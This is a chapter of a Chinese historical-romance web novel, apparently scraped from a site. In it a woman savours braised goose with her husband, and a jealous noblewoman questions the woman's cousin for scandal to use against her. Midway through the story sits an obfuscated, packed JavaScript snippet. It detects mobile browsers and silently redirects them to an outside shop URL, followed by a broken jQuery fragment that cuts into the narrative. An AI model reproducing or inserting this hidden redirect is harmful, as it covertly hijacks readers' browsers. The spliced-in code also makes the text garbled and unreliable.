比起醉鹅,爊鹅看上去就寡淡了许多。
孟嫣直到又添了一碗粳米饭,这才想起还有爊鹅这道菜。
既然“爊”就是小火慢煮,听上去和“煨”的做法差不多,那想来这爊鹅应是香酥软烂的口感。
不过盘中的爊鹅,和孟嫣想象中的“煨”不同,而是整只煮制出来,然后斩切成块,更像是后世的白切鸡、白切鸭的做法。
白切不仅只讲究食材新鲜,对食材的品质要求也很高,只以清水白煮,配以简单蘸料,吃的就是一个食材的原汁原味。
然而孟嫣并未看见这道爊鹅配有什么蘸料。
她夹过一整只爊鹅腿肉缓缓咬了一口……
口感并不酥烂,肉质还十分紧实,带有浓重的卤香,这是卤味啊!
原来“爊”竟是“卤”的意思吗?
孟嫣摇头失笑,又咬了一大口,味道真不错啊!
萧遇看她用筷子夹着这么大一只鹅腿,整只手都在用力,却还不愿直接用手拿着吃,只觉好笑。
萧遇:“现在就你我二人,没有别人,直接用手无碍的。”
孟嫣愣了愣,看了看筷子上的大鹅腿,还是没伸出手去。
并非是她矫情,而是她自身的懒。
用手抓了肉后,若是只用湿帕子擦一擦,手上虽然看上去干净了,但其实还是有油留在手上的,等下她还要拿筷子吃别的,那筷子岂不是油乎乎的?
可若是让店家送来洗手盆和洗手香豆过来,她岂不是吃一块爊鹅就要搓洗一次手?
于她而言,这可太麻烦了,她宁愿用筷子夹着。
不仅在这个时代,她在现代时也这么干。
是以,她练就了一条灵活的舌头,无论多大的带肉骨头,她只用筷子夹着就能啃得干干净净!
孟嫣摇了摇头,道:“等下洗手怪麻烦的,就这样也不耽误吃。”
然后萧遇就看着她灵活的将整只鹅腿吃了个干干净净,比许多用手拿着啃的人吃的还利索。
他摇头失笑,第一次发现她的阿嫣还有这本事。
二人用完饭,又点了一份爊鹅和醉鹅,给老夫人带了回去。
老夫人刚好正要用饭,见孙儿孙媳竟带了吃食回来,大为稀奇。
她这个孙儿未成亲时都鲜少回府,又何曾给她带过什么吃食?
定然是她这个孙媳的主意。
老夫人笑眯眯地让人添了两副碗筷,让二人再吃点。
二人从善如流地又坐了下来。
萧家祖孙三人吃饭时,喻淑兰正伺候婆母用饭。
醉鹅的香气一阵一阵往她鼻子里钻,她却要等婆母吃完才能开动。
她在喻家和曾受过这个苦?
不由自主的,她想到了孟嫣。
孟嫣没有公爹婆母,定然不用受这般磋磨,若是当初是她嫁了萧遇,这般日子岂不是就是她的了?
想着想着,喻淑兰就走了神,直到身边的女使拽了她一把才回过神来。
国公夫人蹙眉看着她:“布菜啊,想什么呢?没看我的碗盏里都空了吗?”
喻淑兰心口升起一把怒火,压了压才夹起一块鹅肉,没想到还未放到婆母碗中,带着浓汁的鹅肉“啪”的一声掉在了食案上。
喻淑兰一慌,这等失仪之事从未发生过,哪怕她自己用饭时也没有。
喻淑兰脸色涨红,国公夫人眉头蹙的更厉害了,也没什么兴致再继续吃下去,站起身来没什么表情地看了她一眼:“下次注意着点,谁家新妇这般笨手笨脚的?”
离开食案前又道:“赶紧让人收拾了!”
喻淑兰抿了抿唇,恨恨地回了自己院子。
院子空空荡荡,世子今日也出去会友赏雪,却没提带她。
喻淑兰想到在集贤楼前遇见的萧遇二人,想到孟嫣裙摆上沾上的一片红梅,只觉刺目。
她深深呼吸几次,吩咐人备车,她要回娘家一趟。
喻母没料到小女儿今日又回来了,以为又是为侍奉婆母一事。
然而却见小女儿并未提及此事,心底暗暗松了口气。
她哪里能不心疼自己的女儿?从小金尊玉贵的养着,从来都是被伺候的那个,何曾伺候过别人?
可女儿非要高嫁永安公府,就要受着这些规矩,她那两个儿媳不也是日日要到她面前伺候吗?
其实有国公夫人这样的婆母磨磨她的性子也好,免得日后惹出更大的祸事。
喻淑兰陪母亲说了会儿话,就说要去看看祖母,喻母见小女儿神色平和,笑着让她去吧。
喻淑兰到了喻太夫人院子一样什么都没提,只陪祖母说笑了一翻就说要回去了。
然而路过大哥哥的院子时,她拐了进去。
孟二娘已经龟缩在府好些日子,即便出门也是万分小心,生怕碰到孟嫣。
最近她也听闻了府中下人提及长宁侯有多宠她这个远房堂妹,让她心生忌妒。
只是如今她能成为官宦人家的宠妾,已经是她能走的最好的一步了,也幸好喻家大公子好色,否则哪里有她什么机会?
正想着,就听下人来报,三娘子过来了。
孟二娘淡淡道:“过来就过来呗,三娘子过来也是去看她大嫂嫂的,哪里会过来找我这个小娘?”
下人又道:“三娘子就是来找小娘的。”
孟二娘一惊,然后狐疑道:“找我?”
还是立即起身迎了出去。
三娘子可是喻家最宝贝的女儿,轻易得罪不得。
孟二娘迎出去时,喻淑兰已经等在了院子。
她皱着眉头打量着孟二娘的院子,整座院子几乎比大嫂嫂的院子都修的雅致,看来听说不错,她极得大哥哥宠爱,自从她进了府,大□□日都要宿在她的屋中。
正这般想着,就听见一道娇柔软语:“三娘子安好。”
喻淑兰望去,就见一个衣着华美的娇柔女子出现在面前。
她没见过几次大哥哥的这个妾室,正确的说,两位哥哥的那些妾室她几乎都没见过。
这些人身份低微,她怎会去见?
今日她屈尊降贵过来是另有其事。
她暗暗打量了一翻孟二娘,说不上美,却自有一番风韵。
喻淑兰没什么表情地点了点头,竟自进了堂屋。
孟二娘摸不准三娘子过来何意,心下腹诽地跟在后面。
进了堂屋,下人上了茶,就被喻淑兰遣了出去。
喻淑兰这才开门见山直言问道:“你是孟嫣的堂姐?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232271|192745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孟二娘暗暗观察着喻淑兰,见她眉间拢起一抹苦戾,想来嫁去国公府的日子并不好过,最近又传出那长宁侯对孟嫣极其宠爱……
她心思转了转,隐隐猜到了她的来意,便没做避讳地点了点头。
喻淑兰:“她为人如何?”
孟二娘猜测着她可能想知道孟嫣做过什么蠢事或错事,不过此时还未确定她的来意,她便挑拣着夸起孟嫣来。
喻淑兰听着听着眉间的苦气淡了,却都变成了戾气。
孟二娘了然,却也没停下,不过夸孟嫣的话和刚刚却又有不同:“我这个堂妹不仅貌美,还运气极好,就像前些年匪寇进了孟家,孟家人都遭了难,只有我这个堂妹不知怎么从匪寇手里活了下来。”
喻淑兰心头一动,孟嫣是从匪寇手里活下来的?
她之前嫁过人,和萧遇成亲属于二嫁,可若是二嫁之前还被匪寇抓去过,那就又不一样了。
喻淑兰觉得自己捏到了孟嫣的极大把柄,也觉得没有再问下去的必要。
若是萧遇知道此事,还能不嫌弃她?
到时候自己同世子和离,再求求祖母去太后面前卖卖情面,嫁去长宁侯府做个平妻,那还有这个商户寡妇什么事?
想到这里,喻淑兰眉间的戾气都少了几分,正要起身离开,忽而想到大哥哥若日日宿在她这里,岂不是日日都要做那事?
孟小娘不觉得做那事很痛苦吗?
可不自觉的,喻淑兰又想到了公主赏菊宴上说到的孟嫣三日没出屋门……
夫妻间行房一事不好问阿娘,自然她也不能将这事同大哥哥的一个妾室说,但却可以换个问法。
喻淑兰:“你也听说过长宁侯有多宠你那个堂妹吧?”
孟二娘不知怎么又问道这里来了,却还是顺着她的话道:“各府女眷之间都传遍了,说侯爷宠她宠的三日未出屋门。”
越说长宁侯宠孟嫣,喻府这位三娘子估计就越会后悔,就会迫不及待地去对付孟嫣。
她的这句回答正中喻淑兰下怀,她正想问问此事,便继续道:“你堂妹……这么不怕痛吗?”
问出口后,喻淑兰还皱了皱眉,想到和世子行那事时,面上不由自主闪过一丝痛楚,恰好被孟二娘看见。
孟二娘顿了顿,她好像误会了喻淑兰的意思,随即又心下大惊,难不成是喻淑兰和世子行夫妻之事时一直很痛?
那究竟是房世子不行?还是这二人都不懂?
孟二娘暗暗揣测,心思百转千回,进而露出一抹娇羞。
她羞声道:“……做那事怎会痛?只会更快活。”
喻淑兰神色凝住。
做那事,会快活?
孟二娘暗暗观察着喻淑兰的神色,看来自己又猜对了,于是又加了把火:“自然,这必须是男子疼惜女子才行,若是男子只顾自己不顾女子分毫,女子自然就只会感到痛楚。”
喻淑兰不知怎么回的国公府,她本以为她和世子算是两情相悦,可现在才知,世子竟从未疼惜过她!
她心中没有苦涩,全是对自己的悔恨,悔恨自己为何要同萧遇退亲!
她定了定神,她定要找机会将孟嫣的过往告诉萧遇,她定要重新同萧遇议亲,定要嫁入长宁侯府!